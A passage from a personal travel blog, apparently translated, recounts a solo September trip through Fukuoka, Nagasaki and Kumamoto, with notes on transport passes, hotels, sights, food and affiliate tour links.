12-hour overnight journey, covering both commuting and accommodation.However, my friend found a job in September and I couldn’t find a new travel companion at the moment. Not keen on extensive travel alone, I decided to forgo the 🇰🇷 Busan ➡️ 🇯🇵 Fukuoka segment and instead opted for the 🇯🇵 Fukuoka ➡️ 🇯🇵 Kumamoto route.With a scattered schedule starting in October and plans to begin job hunting, I scheduled my departure at the end of September (9/17–9/26).Summary / RetroI’ll start with the summary and reflection. I came across a quote in a travel group that resonated with me: “Traveling is a continuous payment of tuition (time or money) for learning. The more experience you gain, the fewer pitfalls you’ll encounter.”👍 Coca-Cola, peach water, FamilyMart’s fruit juice, and Akia plum wine are delicious! Japanese professional baseball is worth watching! When buying tickets, opt for whole rows or aisle seats, and choose the cheaper options. The JR Pass may not always save money, but it definitely did in Kyushu! Saved at least over 1,000 TWD. Solo travel led to many interesting encounters; for example, helping a Japanese family get souvenirs from Mihara City, a kind foreign sister volunteering to take photos, a Taiwanese family on a boat tour, a TSMC employee completing the Aso journey together, and helping another family take photos in Kumamoto, only to meet them again at the airport and take more photos… and so on. Kumamon, the mascot of Kumamoto, can be found all over Kyushu (not just in Kumamoto). Kyushu (not just Kumamoto) is spacious with few people, allowing for easy access to renowned eateries and attractions without long queues, providing a comfortable experience. Made slight progress in Japanese, understanding numbers (though still double-checking with Google Translate), understanding phrases like “plastic bag needed,” “checkout,” “this,” “above,” “cash,” “credit card,” and imperative sentences for duty-free shopping (“XXX お願いします”). Completed writing the travelogue!👎 Accommodation this time was disappointing:When booking hotels in Japan, it’s essential to check reviews, especially negative ones, to assess whether you can tolerate any issues. Walk around the area on Street View to gauge the convenience. Spent too many days in Kumamoto this time; 2 days would have sufficed, allowing for a visit to Oita on other days. Moreover, Fukuoka is much closer to Kumamoto than Nagasaki:In the past, I would secure accommodation before planning sightseeing, given Kyushu’s vast expanse; it’s better to decide on destinations first and then arrange accommodation to access more attractions. Fukuoka offers much better accommodation options, prices, and quality compared to Kumamoto. Missed the festival in Yufuin this time (I went to Nagasaki that day):In the future, I’ll check for festival dates before planning trips; everyone recommends attending festivals, so it’s a must-do. The JR Pass allows for Shinkansen travel, but not on the “Nozomi” or “Mizuho” trains; additional tickets are required for these services. Solo travel with a language barrier can be quite lonely, often leading to introspection and solitude. Accommodation tends to be pricier for solo travelers. Spent too much time rushing through attractions this time; should slow down, savor the moment, and explore local cuisine leisurely, especially missing out on renowned eateries in Japan. The sun in Kyushu during this season is still scorching, so proper sun protection is necessary. Northern Nagasaki is mediocre (Dutch and Chinatown), while southern Nagasaki stands out more for its night views.KKday Promotion [Japan JR PASS Kyushu Area Railway Pass North Kyushu & South Kyushu & All Kyushu E-Ticket](https://www.kkday.com/en/product/3494-jr-kyushu-rail-pass?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} [Nagasaki, Japan Huis Ten Bosch Ticket](https://www.kkday.com/en/product/3988-japan-nagasaki-huis-ten-bosch-ticket?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} [Nagasaki Day Tour Glover Garden, Oura Tenshudo Church & Nagasaki Atomic Bomb Museum, Peace Park & Inasayama Night View (One of the Three Best Night Views in the World/Including Round-Trip Cable Car) Optional Huis Ten Bosch Fireworks Package Departing from Fukuoka/Chinese Group](https://www.kkday.com/en/product/152195-nagasaki-tour-saga-yutoku-inari-shrine-fukuoka-japan?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} One-stop shopping for Kyushu attractions, tickets, and experiences: “One Day Kumamoto, One Day Takachiho, One Day Aso/Kusasenri, One Day Miyazaki Itinerary, Fukuoka teamLab, Fukuoka Tower, Yanagawa Dazaifu River Cruise Package, Taipei Fukuoka Flight, Flight Plus Hotel”PreparationTravelInitially considered entering Fukuoka and leaving Fukuoka, going back and forth to Kumamoto for one or two days (later proved to be correct XD, not many attractions in Kumamoto, don’t need to stay too long); found that China Airlines had a flight from Fukuoka to Kumamoto for only $1,000, so decided to take this flight.Because there was plenty of time, I chose the most luxurious option, departing at noon and returning at noon, totaling 10 days including the flight time. Outbound: 9/17 CI 116 16:40 TPE -> 20:00 FUK Return: 9/26 CI 2195 (Newly Launched on 9/26) 12:30 KMJ -> 13:34 TPEPrice: $10,048Due to the vast area of Kyushu, this time I bought the JR Pass Kyushu Rail Pass (5 days), thinking it would be worth it no matter how much I travel.Accommodation (9 nights)When arranging, without much consideration or research, I thought I hadn’t been to Fukuoka or Kumamoto; so I decided to split the stay into 5 days in Fukuoka and 4 days in Kumamoto.Fukuoka 5 nights - Fukuoka Tenjin Benikea Carlton Hotel (Benikea Calton Hotel Fukuoka Tenjin) Price: $7,583, $1,516/night Transportation: Departing from Hakata Station, you can take the Nanakuma Line subway to Watanabe-dori Station or take a bus and walk 5 minutes to reach.Kumamoto 4 nights - Green Rich Hotel Suizenji (Green Rich Hotel Suizenji)JR Kumamoto -> HotelHotel -> Kumamoto AirportIt’s difficult to find accommodation in Kumamoto (maybe because they are all booked by TSMC for business trips), with limited choices, higher prices compared to Fukuoka, and old facilities; finally found this relatively cheap hotel. Price: $8,157, $2,039/night Transportation: After exiting JR Kumamoto Station, transfer to the Houhi Main Line and then take the tram (get off at the City Sports Center Station). The transportation back to the airport is also very convenient, with direct airport shuttle buses available as soon as you exit.Once the hotel is booked, you can proceed to fill out the online immigration application.JoyOriginal plan: 9/17 21:00 Arrive in Fukuoka, 22:00 Arrive at the hotel, maybe explore the street food stalls 9/18 Nagasaki (Shinchi Chinatown/Dejima/Nagasaki Peace Park/Oura Cathedral/Gunkanjima Digital Museum/Megane Bridge) - won’t visit all + Atomic Bomb Museum + Peace Park + Inasayama Mountain Top Observatory for night view 9/19 Yanagawa, Dazaifu day trip + LaLaport Fukuoka (optional) 9/20 Moji Port, Kokura Castle day trip + street food stalls 9/21 Shopping in Hakata (Fukuoka Tower, shrines, Canal City, Tenjin Underground Shopping Street…) 9/22 Shopping in Hakata + Travel to Kumamoto + Suizenji Jojuen Garden 9/23 Kumamoto City, Kumamoto Castle, Meeting with Kumamon 9/24 Aso Volcano day trip 9/25 Shimabara Castle, Shimabara Three Shiba Inu (quite far, considering) 9/26 10:00 Kumamoto Airport, 12:30 DepartureGo! Flight Tracker, iPhone Suica usage, Visit Japan pre-entry application… mentioned in previous articles, won’t elaborate on them in this post.This trip was also very impulsive, bought the plane tickets and booked the accommodation on 9/10, planned the itinerary on 9/15, and departed on 9/17!Day 1 DepartureThe flight at 16:40 in the afternoon, plenty of time to wake up slowly and head out leisurely.Arrived at Taipei Main Station A1 Airport MRT, opted for advance check-in as usual, completed the check-in and baggage drop at the station, and walked out of the airport upon arrival, no need to queue at the counter with people (For advance check-in information, please refer to the official website).This time also used Airtag to track the luggage, no worries about lost luggage, and very convenient while waiting for the baggage carousel.Around 13:00 arrived at the airport, wandered around after exiting.Had an expensive and mediocre chicken dish, checked the luggage location casually; the luggage also made it to the airport with me.After eating, it was only around 14:30, bought a Japanese book on a whim.Encountered another plane taking the wrong runway, the entire airport had to reset; the plane took a big circle before taking off, delayed for about 30 minutes; the TV on the old plane was very small.China Airlines collaborates with Wutong No. 5 to create the cutest desserts in the air, featuring Dinotaeng, the adorable short-tailed kangaroo, and the osmanthus oolong tea is quite delicious.Due to a flight delay, I only left the airport around 9:00 PM.After leaving the airport, you can see a sign indicating the direction to go and where to wait for the bus stop; besides going to Hakata, you can also go to other places, refer to this article or the official website; if you are going to a distant place, make sure to check the schedule.Originally planned to take the direct bus to Hakata Station, but it seemed like the last bus was still an hour away (I forgot), so I changed to take bus 1 to Fukuoka Airport Domestic Line (Fukuoka Airport Subway Station), then took the subway to Hakata and transferred to the Nanakuma Line at Watanabe-dori Station.Hello Fukuoka!The hotel to check in is on the left side of the second photo.Hotel room tour, overall a bit old, dim lighting, average soundproofing, and the air conditioning makes a slight noise, but still clean and tidy; however, I kind of regret not spending a little more to stay at the APA chain hotel nearby.Originally planned to visit the food stalls on the first night, but due to fatigue, I just grabbed something from the convenience store and rested early to prepare for the next day’s itinerary.Day 2 NagasakiView of Fukuoka city from outside the bed in the early morning.Hakata StationTaking the subway to Hakata is a bit roundabout, it’s faster to walk directly to Watanabe-dori and take a bus to Hakata.Upon arrival in Hakata, go to the manned counter to exchange for the JR Pass (present your passport) and reserve a seat for the trip to Nagasaki. There are many foreigners exchanging for the JR Pass, so I waited for almost an hour before my turn. It is recommended to leave early or go to exchange in advance. I bought a 5-day pass, which starts counting from the day of exchange. Use the pass with the date and amount for entering and exiting the station; the reserved seat ticket is just to know where your seat is and cannot be used to enter and exit the station. Keep the pass safe as you will need it for the next five days; if lost, it cannot be replaced!There are two segments from Hakata to Nagasaki, first to Takeo Onsen and then change trains to Nagasaki from Takeo Onsen; changing trains on the same platform, they have the train times well calculated, so basically, after arriving, just walk to the opposite side to board the train.When waiting for the train, I found that the trains in Kyushu are very distinctive!!The seats are large and comfortable, and you can enjoy the scenery by the window.Travel time: about 1 hour 50 minutesSide note: Completed a citizen diplomacy mission ✅ When I was on the train, there was a family sitting next to me. The parents took their two children out to play, and one of the children suddenly vomited halfway through the journey. The father didn’t have tissues at hand, so he used a newspaper to wipe it. I handed him some tissues and wet wipes. When it was time to get off the train, the father gave me a souvenir from Miyauchi City (shrimp rice crackers).Nagasaki StationAfter exiting Nagasaki Station, the weather was great! I was worried it might rain today.After leaving the station, head towards the Nagasaki streetcar direction.Nagasaki (South)First, head south to Nagasaki Shinchi Chinatown.It may be a unique spot for foreigners, but for Chinese people, it’s okay. They sell Nagasaki specialties like scratch bags, Changdian udon, Qiangbang noodles, xiaolongbao… But I wasn’t very hungry at the time, so I just passed by.On the way to Glover Garden, I also passed by the Confucius Temple XDPassing through the Dutch Slope (just a slope), then taking the escalator up to Glover Garden Entrance 2, the whole terrain is a large hill facing the sea.Enter Glover Garden and admire the architecture style and interior decorations; it’s very similar to Fort San Domingo in Tamsui (because both were built by the Dutch).Don’t forget to exchange for a free photo, where you can also overlook the cruise ships at Nagasaki Port.On the way down the mountain, you will pass by the Oura Catholic Church, I didn’t go in, just took a photo and left.Bought some scratch bags from Nagasaki to try, but I still think Taiwan’s taste better!On the way back north to the Nagasaki Atomic Bomb Museum, stop by Meganebashi Bridge to take photos. The reflection in the water from the front view is really beautiful, worth a shot if you have time.Nagasaki (North)Visiting the Atomic Bomb Museum is more about immersion and reflection. The museum has designed many scenes (from the time of the explosion or immersive experiences), installation art, historical data, interviews; allowing visitors to immerse themselves in the historical atmosphere and reflect on the cruelty and horror of future wars.After leaving the Atomic Bomb Explosion Point, you will arrive at Peace Park.Colorful paper cranes are hung along the road (including the Atomic Bomb Museum) as a symbol of praying for peace.Mount Inasa Night ViewAfter leaving Peace Park, take a break at Dejima before heading to see Mount Inasa Night View, one of the world’s three major night views.To get to Mount Inasa, walk a short distance from Dejima to the bus stop for the Inasa Ropeway (Fuchi Shrine Station). Then stroll to the station and wait for the cable car.Unfortunately, the bus was delayed, and there was no electronic sign at the small station. After waiting for more than 5 minutes and thinking the bus might not be running that day, I quickly checked other nearby bus stops that go to Fuchi Shrine. I walked another 10 minutes to another bus stop to catch a different bus. Funny thing is, halfway there, I saw the delayed bus coming… but it was too late OrzAcross from where I got off the bus is Fuchi Shrine. I walked up and passed through a kindergarten to reach the Nagasaki Ropeway (Fuchi Shrine Station). Since I didn’t plan to stay too late, I bought a round-trip ticket directly (cheaper, but if you stay too late, there might not be a cable car available, and you’ll have to take the bus back).After getting off the cable car, there is another cable car for mountain viewing, but I didn’t try it. So, I walked straight towards the observation deck.I forgot to take a photo of the observation deck, which is a 360-degree tower where you can see the entire Nagasaki city, harbor, and mountains without needing a ticket. You can start by watching the sunset from the west as the sun sets over the harbor and continue to enjoy the night view of the city from the east.The observation deck is spacious and can accommodate many people.After sunset, you can enjoy the beautiful night view of the entire Nagasaki city and the station.Finally, take a last look at the night view of Nagasaki Station, buy a Nagasaki cake souvenir (later found out they are also sold in Hakata, with a shelf life of about 12 days, so it’s better to buy them later…), and get ready to return to Hakata. _If you don’t want to visit all these places on your own, you can refer to KKday’s [**Nagasaki Day Tour Glover Garden · Oura Cathedral & Nagasaki Atomic Bomb Museum · Peace Park & Mount Inasa Night View (One of the World’s Three Major Night Views/Including Round-trip Cable Car) Optional Huis Ten Bosch Fireworks Plan Departing from Fukuoka/Chinese Tour**](https://www.kkday.com/zh-tw/product/152195-nagasaki-tour-saga-yutoku-inari-shrine-fukuoka-japan?cid=19365&ud1=d78e0b15a08a){:target=”blank”} Encountered another delay, this time due to a JR (signal failure); arrived at Hakata almost an hour late (already tired), the driver was driving fast and it felt shaky.Bought a late-night snack and returned to the hotel to rest.Day 2 Yufuin and Dazaifu Day Trip + LalaPort FukuokaIn the morning, first visit the Fukuoka (Tenjin) Tourist Information Center to buy a one-day pass (Fukuoka Tenjin, Hakata, or online ticket purchase available), you can calculate if it’s cheaper. KKday Kyushu Ticket Dazaifu Yufuin Tour Package (Taoyuan Airport Pickup)Nishitetsu - A day trip to the ancient city of Dazaifu and the water town of Yufuin.Additionally, you will receive two coupon books, the Dazaifu book has a voucher for a free plum branch cake.The order is not fixed, but the boat tour has a time limit, it ends after 2 pm; so just follow the itinerary, Fukuoka -> Yanagawa -> Dazaifu -> Fukuoka.After buying the tickets, go to the manned window, show the ticket to the station staff, and you can board the train directly (no need to reserve seats) to Yanagawa.Travel time: about 1 hour 10 minutesYanagawa Boat TourAfter exiting the station, you will see staff wearing white vests (if there is no service center nearby, you can ask), they will provide you with a map + return route + timetable and guide you to take the shuttle bus to the boarding point.When exiting the station, go to the manned ticket gate, the staff will tear off the ticket from Fukuoka to Yanagawa station.Originally thought of walking the distance, but upon exiting, saw staff guiding with care, so fortunately took the bus.Arrived at the boarding point and waited for the next boat, coincidentally met a Taiwanese family traveling in front, joined them on the spot, chatted along the way (after all, I was traveling alone and don’t speak Japanese, hardly talked to anyone in Kyushu).The water is very clean, this season’s lush green is not as beautiful, but relatively fewer people.The boatman will introduce the passing sights along the way, and sing songs (most Taiwanese would have heard, many old songs).When crossing the bridge, the boatman will ask everyone to bow their heads to avoid hitting, quite interesting; there is not much shade on the way, a bit sunny.You will pass by an ice shop on the way, selling fruit ice, you can buy one to cool off; the boatman will also give each person an ice pack to cool down (very thoughtful).I chatted with the Taiwanese family’s father who was in front of me all the way, and in the end, I even got a business card.After getting off the boat, I couldn’t find a free shuttle seat, and I ended up queuing for the wrong queue and was refused to board the shuttle (not the West Rail Pass); you need to study the boarding point on the map (Chuanliu Shipyard (Chongzhinan)) or ask directly for a faster way.I later walked to take the bus back to the West Rail Yanagawa Station.DazaifuFrom Yanagawa to Dazaifu, you need to transfer to the train to Dazaifu at Futsukaichi Station (to another platform).Travel time: about 1 hourTake the Tabito-go train to Dazaifu, via Gojo (2.5 Go QQ); it’s a bit like going from Beitou to Xinbeitou, just one train back and forth.There is a section in the middle of the train that displays artifacts from Dazaifu and you can write postcards, you can go take a look.Dazaifu Station is also beautiful, and the Lawson outside has a very Japanese vibe.On the right side of the exit is the only pentagonal (Japanese qualified) bowl Ichiran Ramen in the world.After eating ramen, try a plum branch cake, which is not really related to plums, more like red bean grilled rice cake, it tastes better when the skin is freshly made!I forgot to exchange the return voucher given by the West Rail Pass, spent 150 yen to buy one myself; seeing that the expiration date is only one day, I couldn’t bring it back to Taiwan.Continue along Omotesando towards Dazaifu and you will pass by one of the most beautiful Starbucks in Japan, the space is quite large but crowded, so I left without stopping.The bridge leading to the shrine should be quite nice to take photos at night + fewer people, too many people make it difficult to take good photos.After visiting, return to Dazaifu Station and head back to Fukuoka Lalaport.Fukuoka LalaportSimilarly, return to Nijinomachi from Dazaifu Station and transfer to a train bound for Hakata. Get off at Ohashi (Fukuoka), go left after exiting the station to find the direct bus to Lalaport. Hop on, and you will arrive at Fukuoka Lalaport after one stop.Total travel time: about 50 minutesUpon arrival, you will see the huge Fukuoka Gundam outside.Lalaport is large, great for shopping, and suitable for families. There is a large playground upstairs where children play and people rest.Upstairs, there is a Jump Shop selling merchandise related to Shonen Jump Weekly, including Haikyuu!!, One Piece, Hunter x Hunter, Jujutsu Kaisen, Chainsaw Man, and more. I bought some Jujutsu Kaisen merchandise.If you spend over 5000 Japanese Yen, you can get a tax refund, but it seems to be refunded through their app or something, a bit complicated, and food is not included.Go to the food street and have a Miyazaki beef bowl. Before leaving, I bought some snacks to take back (curry bread, like Mizuhoan daifuku).The Gundam that lights up at night is quite impressive.For the return direct bus, do not take it from where you originally got off. Follow the signs inside the building and take the bus directly from the bus stop inside the building.Return to the hotel to rest, using a tablet (the TV is too old and lacks smart functions). The curry bread is crispy and delicious, with meat filling inside, and the daifuku is good too, but I prefer Benzaiten.Day 3 Moji Port, Kokura Castle, Canal City Hakata, Nakasu YataiIn the early morning, head to Hakata Station again, take the JR to Moji Port, and then return to Kokura Castle. [_KKday Itinerary Reference: Japan Fukuoka Kitakyushu One-Day Charter Tour Dazaifu Tenmangu Shrine, Moji Port, Karato Market, Kanmon Strait, Akama Shrine_](https://www.kkday.com/zh-tw/product/157874?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} Upon arrival, you will see the huge Fukuoka Gundam outside.Lalaport is large, great for shopping, and suitable for families. There is a large playground upstairs where children play and people rest.Upstairs, there is a Jump Shop selling merchandise related to Shonen Jump Weekly, including Haikyuu!!, One Piece, Hunter x Hunter, Jujutsu Kaisen, Chainsaw Man, and more. I bought some Jujutsu Kaisen merchandise.If you spend over 5000 Japanese Yen, you can get a tax refund, but it seems to be refunded through their app or something, a bit complicated, and food is not included.Go to the food street and have a Miyazaki beef bowl. Before leaving, I bought some snacks to take back (curry bread, like Mizuhoan daifuku).The Gundam that lights up at night is quite impressive.For the return direct bus, do not take it from where you originally got off. Follow the signs inside the building and take the bus directly from the bus stop inside the building.Return to the hotel to rest, using a tablet (the TV is too old and lacks smart functions). The curry bread is crispy and delicious, with meat filling inside, and the daifuku is good too, but I prefer Benzaiten.Arrived at Moji Port without any surprises or dangers (worried about being fined).Walking out of the station is Moji Port, usually deserted; happened to catch the Blue Wing Moji Suspension Bridge being lowered.After it’s lowered, you can walk to the observation tower at the back and overlook the entire Moji Port.Coming out of the tower, you can take a walk around Moji Port.For lunch, try the famous curry in Moji Port.Kokura CastleMoji is very close to Kokura, but Kokura is a small station, quite desolate when you exit, got lost looking for the entrance to Kokura and ended up circling a big round, when in fact the entrance is on the side of the Mall outside Kokura.Kokura Castle is small, with quite a few things to see inside, just that the view from the main keep is quite ordinary (you can see the Mall from the front).After visiting, return to the station and take a train back to Hakata, obediently taking the JR, but as it’s a small station, only local trains are available, so it took more than an hour to slowly return.Canal City HakataReturning to Hakata with time to spare, went to Canal City Hakata and wandered around the city center.Didn’t check specifically, thought it was some kind of “castle” or “moat”, turns out it’s a department store XD, indeed with a “moat” and water fountain performances.There are plenty of places to shop around here, including a Jump Shop.Still early, wandered around and ended up eating Hakata Gion Teppan Gyoza.The skin is crispy, with soup inside, very delicious; due to the language barrier, the waitress was cute and gestured with her hands and belly to indicate 2 portions (1 portion only has 8 pieces, you need 16 pieces to be full), didn’t catch on at the time, so only ordered one portion + Hakata’s famous Meitai.Nakasu YataiAfter eating, I took a stroll through the Nakasu food stalls before it got dark.It was still early, so I first went to explore the Tenjin Parco department store and planned to come back to see the night view later.Upstairs, there was Animate, and I got the first draw of the gachapon and got Gojo from Jujutsu Kaisen.The night view of the Nakasu food stalls gave off a festive atmosphere.The flashy Japanese advertising signs were eye-catching.The Nakasu food stalls are roadside eateries on this side, bustling with people; they offer ramen, oden, and grilled food, but nothing particularly caught my attention, so I didn’t go in to eat.Returned to the hotel to drink and have a late-night snack for rest.Day 4 Visit to Sumiyoshi Shrine, Kushida Shrine, Tenjin Underground Street, Fukuoka Tower, Fukuoka SoftBank Hawks Baseball GameA day of walking in Fukuoka, starting by visiting the nearby Sumiyoshi Shrine after leaving the hotel.Sumiyoshi ShrineIt’s small, so if it’s not nearby, you probably wouldn’t go out of your way to visit.Passed by Hakata Canal City again on the way to Kushida Shrine.Saw where the food trucks were parked in the morning, so small and cute.Kushida ShrineKushida Shrine is relatively large, and I also drew a fortune slip. Seeing “suddenly successful in job hunting” gave me hope for my job search.There were floats displayed for the Hakata Gion Yamakasa Festival, very grand and spectacular.Continuing the walk in Fukuoka, at noon, walked to Hakata Miyachiku (Japan’s No. 1 Miyazaki Beef Specialty Store Hakata Miyachiku) to taste Miyazaki beef.This Miyazaki beef steak with beer costs around NT$650, delicious and affordable! The Miyazaki beef was juicy and had no strange smell.Tenjin Underground StreetAfter lunch, I wandered around Tenjin Chikagai and Tenjin Underground Street, bought souvenir cookies and cakes, and also went to the supermarket to try the popular seedless muscat grapes on skewers.While wandering in Tenjin, I encountered the wild Kumamon Chief.First, return to the hotel to drop off the souvenirs purchased + rest for a while before heading to Fukuoka Tower + watching a baseball game.Fukuoka TowerTake a bus from the city to Fukuoka Tower. [_KKday Japan Kyushu Fukuoka Tower E-Ticket_](https://www.kkday.com/zh-tw/product/18813-japan-fukuoka-tower-e-ticket?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} Fukuoka Tower’s full mirror design looks beautiful from the outside, I think it’s even more beautiful than the Tokyo Skytree!(Thanks to a passerby sister for taking the photo)However, because the tower is located on the outermost side of the city facing the sea, the view from the top is average; not sure how the night view is.After leaving Fukuoka Tower, slowly walk to the next stop, Fukuoka PayPay Baseball Stadium, with a taste of the sea.Fukuoka SoftBank Hawks Baseball GameMany people (probably about 70% full), but tickets are still available on-site.Ticket Buying EpisodeWhen buying tickets, I encountered an elderly man at the counter who was nervous and shaking because he couldn’t understand the language of a foreigner; I also got nervous XD; in a moment of confusion, I chose the last row in the middle of the front viewing platform (with people on both sides), which turned out to be super awkward, having to excuse myself all the way in and out, and the seats were very small, squeezed in between Japanese people, not knowing a word of Japanese, very awkward… Sat through the entire game in a serious and awkward manner.Ticket price is almost $1,500 TWD, thinking I should have bought the cheapest lousy seat to watch comfortably on my own.I must say the visual effects of the dome (very close to the baseball field), and the entire large screen animation display are very good.The traditional cheerleading of the Fukuoka SoftBank Hawks team involves inflating balloons (using a manual pump) in the 7th inning and then releasing them, as for the trash… it’s left unattended and someone will clean it up later.The home team won 4:2 in the end, more exciting than the CPBL, with pitchers throwing at speeds around 145km per hour, each inning had both offense and defense, very few three-up-three-down innings; but the pace of the game was fast and comfortable to watch.However, in terms of cheerleading, Taiwan is still richer than Japan.Indoor fireworks are set off in the dome after a home victory, very cool!Bought a SoftBank Hawks towel as a souvenir of the visit, also relieving the embarrassment of not being able to enter the Hanshin Tigers Koshien Baseball Stadium last time due to sold-out tickets.The venue was crowded, but everyone didn’t stand too close and walked slowly. We followed everyone to the nearest Tangren Street subway station because it felt like a long wait for the bus.Back to the hotel to rest and taste the seedless muscat grapes bought in the afternoon, very sweet, a bit too sweet.Day 5 Kumamoto (Kumamoto Castle, Tsuruya Department Store)Early in the morning, check out and stroll around the pharmacy near the hotel.Found nothing special, had a McDonald’s breakfast (McMuffin with egg and iced Americano for $107) and came back to pick up luggage to take the JR to Kumamoto.Finally said goodbye to this hotel. The lobby had Fukuoka SoftBank Hawks dolls, and outside there was a Taiwanese flag hanging, quite impressive because next door was a friendship convenience store run by Chinese people, with many Chinese customers.Fukuoka Hakata -> KumamotoReserved seats at the station’s electronic machine. Thought it was a bit far, so reserved a seat with luggage.Follow the instructions to reserve a seat: Select language first, select language first, select language first (otherwise cannot be changed after inserting the ticket card, have to start over) Insert JR Pass ticket card Select departure and arrival stations (search by English station name) Select train and seat CompleteIf there are any issues, there are station staff available to ask. Originally, there was a train departing in 15 minutes with no seats, so had to buy tickets for another train departing in 45 minutes.But it was okay not to buy that train. Walking from Hakata Station to the Shinkansen platform heading to Kagoshima (via Kumamoto) took about 10 minutes, a bit far to go around, too rushed.Managed to use the JR Pass on the last day before it expired. Originally worried that my 27-inch suitcase (about 69 x 50 x 29 cm) might not fit in the overhead luggage rack and had to buy extra-large luggage with a seat, it is required to buy if it exceeds 160 cm on three sides. The 27-inch suitcase was a bit tight when placed vertically and could block the neighboring seat; when placed in the luggage rack, it was stable, but still had to lift it up to place it. Buying a window seat was a concern as it might block the aisle when taking or placing luggage; fortunately, a kind Japanese man offered to switch seats to help with the luggage.Upon arrival in Kumamoto, saw a huge Kumamon bear, then transferred to the JR & subway to the hotel to store luggage (Municipal Gymnasium-mae Station).Kumamoto is full of Kumamon bears everywhere…Kumamoto CastleAfter settling in the hotel, took the tram to Kumamoto Castle (to Torichosuji Station).You can first visit Sakura no Babajo Castle Saien (forgot to take photos) below to replenish energy. You can buy Kumamoto Castle tickets here. There are not many people here, but when you go up to the entrance of Kumamoto Castle, you will encounter many groups blocking the way.Ticket options: Kumamoto Castle 800, Kumamoto Castle + the building behind it after buying a ticket (Historical and Cultural Experience Yuyuza) 850, Kumamoto Castle + the building behind it after buying a ticket (Historical and Cultural Experience Yuyuza) + Kumamoto Museum 1,100.I bought Kumamoto Castle + Yuyuza, thinking it was only an additional 50 yen, but after looking around, it was average. It provided more information on the exhibits inside Kumamoto Castle and earthquake-related artifacts, suitable for photography and experiencing.Kumamoto Castle’s main tower has been restored and opened to the public in 2023, while other buildings are still under maintenance (you can see the crane).The new addition is a skywalk directly planned to lead all the way to Kumamoto Castle.After ascending the main tower, you can see the skywalk you walked along.Overlooking the square in front of Kumamoto Castle and the historical sites still under continuous maintenance behind.A model depicting the situation after the earthquake.A souvenir shop next to the square houses a model of Kumamoto Castle, completing my mission of collecting the three major famous castles!Returning to the ticket booth, I visited Yuyu-za; inside, there are models of Kumamoto Castle and a Kumamoto Castle made of LEGO, very cool.Due to the unfavorable weather, I didn’t continue to the museum or Kato Shrine.Walking back to Toricho-sujin Station, this is where the covered shopping street and the local Tsuruya Department Store of Kumamoto are located. The first floor of the east wing of the department store was completely renovated a few months ago to become Kumamon Square (Kumamon’s office).While wandering around the shopping street, I happened to come across a public event featuring Kumamon x Traffic Safety and received a Kumamon tote bag.This area is not very interesting to explore; only Tsutaya Bookstore and the Muji building are worth visiting. When you get off at Kumamoto Station, you can feel that there are many elderly people and few young people. The local Tsuruya Department Store is mostly frequented by elderly people, selling mostly women’s clothing and household items, with fewer items for young people.I bought some Kumamon merchandise at the Kumamon specialty store in Tsuruya Department Store, then went to the underground street of the department store to buy alcohol and food (dinner + supper) to eat back at the hotel.The fragrant dew is a Kumamoto local sake recommended by the store, sweet and smooth to drink, but I feel the rice flavor is not strong. Green Rich Hotel Suizenji 2023/09It is worth mentioning the hotel, in the past, I actually wouldn’t pay much attention to reviews; as long as it’s around 3 stars or above, it’s fine; the soundproofing of this one is not good, and I encountered a whole floor of elementary school graduation trips, with doors opening and closing loudly day and night for two consecutive days, very disturbing.After checking the detailed reviews on Google/Agoda, I feel somewhat disheartened.Poor soundproofing seems to be a common problem in old hotels, which I can tolerate (I brought earplugs myself); but as mentioned in previous reviews, the hotel’s WiFi is just a sham.The WiFi signal is available throughout the hotel, but even with a full signal in the room, the speed is still very slow, websites won’t load, you have to stand by the door to get a normal internet speed, it’s almost like the hotel has no internet. The price is not attractive either, it’s better to stay in Fukuoka, for the same price, you can stay at APA in Fukuoka. After this experience, I now know that even for Japanese hotels, it’s important to check the reviews…Apart from the convenience of being close to the airport, there are no other advantages, and there are no convenience stores nearby (you have to walk for more than 10 minutes to find one).Day 6 Suizenji Jojuen Garden, Kumamon Square Performance, Hanabata Plaza, Sakura-machi Shopping CenterIn the morning, I went straight across to Suizenji Jojuen Garden. [_KKday Reference Itinerary: Kyushu Kumamoto Day Tour Aso Nakadake Volcano, Kusasenri, Kumamoto Castle, Suizenji Jojuen Garden/All-you-can-eat Seasonal Fruits Departing from Fukuoka Hakata (Chinese, English, Japanese)_](https://www.kkday.com/zh-tw/product/38965?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} Suizenji Jojuen Garden (Izumi Shrine)It has a bit of a feeling of the Banqiao Lin Family Garden, very well maintained inside, clear water, a small Mount Fuji, Izumi Shrine, very fat koi, and a cat.Kumamon Square PerformanceAfter visiting, take the streetcar to Mizutamachi and head to Kumamon Square (visited yesterday).Inside, there are Kumamon Chief souvenirs for taking photos, and outside, there is a monitor to see what’s happening inside.Since it was still early at 11 a.m., before the performance time, I went to find food at the neighboring Tsuruya Department Store.You can refer to the performance schedule on the Kumamon Square official website (times may vary, but there are usually three performances on Saturdays).Passing by the Tsuruya Department Store, I also found a Chief sadly playing the piano on the first floor.I went to B1 to eat the locally famous Hachimitsu Manju, which is a thick wheel cake with either white bean or red bean filling, sweet lovers will love it, and it’s a great breakfast with coffee.I returned to Kumamon Square just before 11 a.m. to wait for the performance, now there’s no need to draw lots, as long as you enter before the performance, you can go in, if you’re late, you may have to watch the monitor outside, if you have children, you can sit inside.Before the performance, the order rules will be explained, for example: you cannot pat Kumamon, do not hold the camera too high (it will block the view behind), according to Japanese law, if there are faces, they must be pixelated, and everyone is welcome to upload to SNS.The performance lasts about 30 minutes. The hostess will help Kumamon speak (all in Japanese). The process is roughly to greet everyone, talk about interesting things in Kumamoto, dance (the above song is very catchy), and say hi to people from different countries (Taiwanese people are the majority here).Kumamon is very cute and has big, interesting movements.There are fewer peripheral products sold in the square, and the prices are relatively high, so I didn’t buy anything here.After watching the performance until close to noon, walk down the shopping street to eat at Shouritei Shinshigai Honten; walking outside the shopping street, suddenly upgraded from a children’s level to a restricted level, with rows of free guides (the other side is Kumamoto Ginza Street as well).The super thick Jucie pork cutlet rice is special because it comes with their pickled vegetables (shared, self-serve, remember to use the red chopsticks). Other than that, it’s similar to eating Japanese pork cutlet in Taiwan. They will give you a grinding stick and sesame seeds to make the sauce; rice, tea, soup, and cabbage are all free for refills; I ate two bowls of rice in one go and felt very satisfied.Hanabatake SquareAfter eating and drinking, continue walking down the shopping street towards Hanabatake Square.There happened to be an event at the square on Saturday, Food Summit 